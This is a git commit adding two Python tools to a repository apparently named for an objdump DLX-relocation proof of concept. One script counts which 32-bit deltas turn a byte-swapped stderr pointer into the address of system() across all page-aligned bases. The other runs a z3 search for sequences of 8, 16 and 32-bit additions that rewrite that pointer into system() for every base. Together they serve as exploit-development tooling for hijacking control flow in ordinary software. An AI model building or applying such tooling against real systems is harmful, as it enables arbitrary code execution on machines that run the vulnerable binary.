Upload files to "objdump-dlx-calc-poc/tools"

This commit is contained in:
2026-06-29 16:54:42 +00:00
parent 9f50af02fa
commit 7d59494b53
2 changed files with 190 additions and 0 deletions
@@ -0,0 +1,31 @@
#!/usr/bin/env python3
from collections import Counter
STDERR = 0x2044E0
SYSTEM = 0x58750
PAGE = 0x1000
def be_from_le32(value):
return int.from_bytes((value & 0xFFFFFFFF).to_bytes(4, "little"), "big")
def delta_for_base(base):
src = be_from_le32((base + STDERR) & 0xFFFFFFFF)
dst = be_from_le32((base + SYSTEM) & 0xFFFFFFFF)
return (dst - src) & 0xFFFFFFFF
def main():
counts = Counter(delta_for_base(base) for base in range(0, 1 << 32, PAGE))
total = sum(counts.values())
covered = 0
for delta, count in counts.most_common():
covered += count
print(f"0x{delta:08x} pages={count} coverage={count / total:.6f} cumulative={covered / total:.6f}")
print(f"unique={len(counts)} total_pages={total}")
if __name__ == "__main__":
main()
@@ -0,0 +1,159 @@
#!/usr/bin/env python3
import argparse
from itertools import product
from z3 import BitVec, BitVecVal, Extract, Solver, ZeroExt, sat
STDERR = 0x2044E0
SYSTEM = 0x58750
def bytes_from_word32(x):
return [(x >> (8 * i)) & 0xFF for i in range(4)]
def z3_input(base):
p = (base + STDERR) & 0xFFFFFFFF
p = BitVecVal(p, 32)
return [Extract(8 * i + 7, 8 * i, p) for i in range(4)]
def z3_target(base):
s = (base + SYSTEM) & 0xFFFFFFFF
s = BitVecVal(s, 32)
return [Extract(8 * i + 7, 8 * i, s) for i in range(4)]
def add8(bs, off, k):
out = list(bs)
out[off] = out[off] + Extract(7, 0, k)
return out
def add16(bs, off, k):
out = list(bs)
w = (ZeroExt(8, bs[off]) << 8) | ZeroExt(8, bs[off + 1])
w = Extract(15, 0, w + Extract(15, 0, k))
out[off] = Extract(15, 8, w)
out[off + 1] = Extract(7, 0, w)
return out
def add32(bs, off, k):
out = list(bs)
w = (
(ZeroExt(24, bs[off]) << 24)
| (ZeroExt(24, bs[off + 1]) << 16)
| (ZeroExt(24, bs[off + 2]) << 8)
| ZeroExt(24, bs[off + 3])
)
w = w + k
out[off] = Extract(31, 24, w)
out[off + 1] = Extract(23, 16, w)
out[off + 2] = Extract(15, 8, w)
out[off + 3] = Extract(7, 0, w)
return out
def apply_z3(bs, op, k):
kind, off = op
if kind == 8:
return add8(bs, off, k)
if kind == 16:
return add16(bs, off, k)
if kind == 32:
return add32(bs, off, k)
raise ValueError(op)
def apply_concrete(bs, op, k):
bs = list(bs)
kind, off = op
if kind == 8:
bs[off] = (bs[off] + k) & 0xFF
elif kind == 16:
w = ((bs[off] << 8) | bs[off + 1])
w = (w + k) & 0xFFFF
bs[off] = (w >> 8) & 0xFF
bs[off + 1] = w & 0xFF
elif kind == 32:
w = (bs[off] << 24) | (bs[off + 1] << 16) | (bs[off + 2] << 8) | bs[off + 3]
w = (w + k) & 0xFFFFFFFF
bs[off] = (w >> 24) & 0xFF
bs[off + 1] = (w >> 16) & 0xFF
bs[off + 2] = (w >> 8) & 0xFF
bs[off + 3] = w & 0xFF
return bs
def check_all(seq, ks):
for base in range(0, 1 << 32, 0x1000):
bs = bytes_from_word32((base + STDERR) & 0xFFFFFFFF)
want = bytes_from_word32((base + SYSTEM) & 0xFFFFFFFF)
for op, k in zip(seq, ks):
bs = apply_concrete(bs, op, k)
if bs != want:
return False
return True
def solve_sequence(seq):
reps = [
0x00000000,
0x00008000,
0x00DFC000,
0x00E08000,
0xFFDFC000,
0xFFE08000,
]
solver = Solver()
ks = []
for i, op in enumerate(seq):
width = {8: 8, 16: 16, 32: 32}[op[0]]
ks.append(BitVec(f"k{i}", width))
for base in reps:
bs = z3_input(base)
for op, k in zip(seq, ks):
if op[0] != k.size():
k = ZeroExt(op[0] - k.size(), k)
bs = apply_z3(bs, op, k)
want = z3_target(base)
for got, expected in zip(bs, want):
solver.add(got == expected)
if solver.check() != sat:
return None
model = solver.model()
vals = [model[k].as_long() for k in ks]
if check_all(seq, vals):
return vals
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--max-extra", type=int, default=4)
parser.add_argument("--mode", choices=("all", "r32-first", "r32-last"), default="r32-first")
args = parser.parse_args()
ops = [(32, 0)] + [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
correction_ops = [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
for extra in range(0, args.max_extra + 1):
print(f"extra={extra}", flush=True)
if args.mode == "all":
sequences = product(ops, repeat=extra + 1)
elif args.mode == "r32-first":
sequences = (((32, 0), *tail) for tail in product(correction_ops, repeat=extra))
else:
sequences = ((*head, (32, 0)) for head in product(correction_ops, repeat=extra))
for seq in sequences:
result = solve_sequence(seq)
if result is not None:
print("FOUND", seq, [hex(x) for x in result])
return 0
print("no sequence found")
return 1
if __name__ == "__main__":
raise SystemExit(main())